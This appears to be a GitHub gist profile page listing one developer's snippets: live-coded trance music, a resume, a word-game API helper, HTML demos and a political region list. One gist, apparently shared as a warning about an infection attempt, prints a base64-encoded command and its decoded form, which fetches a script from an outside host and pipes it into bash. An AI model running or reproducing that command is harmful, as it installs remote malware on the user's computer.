Skip to content

Instantly share code, notes, and snippets.

View neopunisher's full-sized avatar
🎯
Focusing

Carter Cole neopunisher

🎯
Focusing
View GitHub Profile
// "Euphoric Trance Journey"
// Inspired by Switch Angel's style
// 138 BPM classic trance vibes
setcps(138/60/4) // 138 BPM trance tempo
// Define trance chord progression (i-VI-III-VII in A minor)
let chords = "<Am F C G>"
stack(
//$drums: s("bd ~ bd ~").bank("tr909").dec(.6).scope()
setCpm (136/4)
register('acidenv', (x, pat) => pat.lpf(100)
.lpenv(x * 9).lps(.2).lpd(.12))
$d2: s("bd!4").bank("RolandTR909").gain(0.94).room(0.35)._scope()
$notes:n("<0 4 0 9 7>*16").scale("g:minor").trans(-12)
.o(3).s("sawtooth").acidenv(slider(0.379))._pianoroll()
/*
@neopunisher
neopunisher / gist:fdccf23a7884da03168da6d62b512af6
Created November 9, 2025 20:52
Hacker tried to infect my mac
echo "Y3VybCAtcyBodHRwczovL2dhbW1hLm1ldHJpY3NhZ2dyZWdhdG9yLnRvL3N0cml4L2luZGV4LnBocCB8IG5vaHVwIGJhc2ggJg==" | base64 -d | bash
"curl -s https://gamma.metricsaggregator.to/strix/index.php | nohup bash &"
{
"basics": {
"name": "Carter Cole",
"label": "Lead Software Engineer",
"email": "hello@cartercole.com",
"url": "https://cartercole.com",
"summary": "Principal/Lead engineer building performant data-heavy apps. Specializing in GraphQL backends, React/Relay UIs, PostgreSQL at scale, and Bitcoin/Lightning systems.",
"location": {
"city": "Houston",
"region": "Texas",
@neopunisher
neopunisher / word-battle-tools.js
Last active March 15, 2025 20:07
https://www.word-battle.com/ unofficial api and helper tools; vibe coded with love
const endpoint = "https://htbgzenw76.execute-api.us-east-1.amazonaws.com/dev/app";
const callApi = async (funcName, data) => {
const response = await fetch(endpoint, {
body: JSON.stringify({ funcName, data }),
method: "POST",
headers: { "Content-Type": "application/json" }
});
if (!response.ok) {
throw new Error(`API call failed: ${response.status} ${response.statusText}`);
graph LR
    DMN[Default Mode Network]
    CEN[Central Executive Network]
    SN[Salience Network]
    SMN[Sensory-Motor Network]
    VN[Visual Network]
    AN[Auditory Network]
 LN[Limbic Network]
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Notebook Paper Design</title>
<link href="https://fonts.googleapis.com/css2?family=Nanum+Pen+Script&display=swap" rel="stylesheet">
<style>
body {
font-family: 'Nanum Pen Script', cursive;
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>SVG to PNG Download</title>
</head>
<body>
<svg id="texas" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1" width="300" height="300" viewBox="-67235,-57840 124725,118547">

LNC Region Breakdown

Region 1

  • Reps: Adam Haman and Roman Garcia
  • Alts: Andrew Chadderdon (Rank 1), Nick Shawhan (Rank 2)
  • States: AK, AZ, CO, HI, ID, KS, KY, MI, MN, MT, NE, NM, NV, OR, WI

Region 2

  • Rep: Daniel McGee
  • Alt: Matt Johnson
@neopunisher
neopunisher / stand-alone-graphql.html
Created March 28, 2024 20:38
Graphql stand alone
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>React App</title>
</head>
<body>
<script type="importmap">
{
"imports": {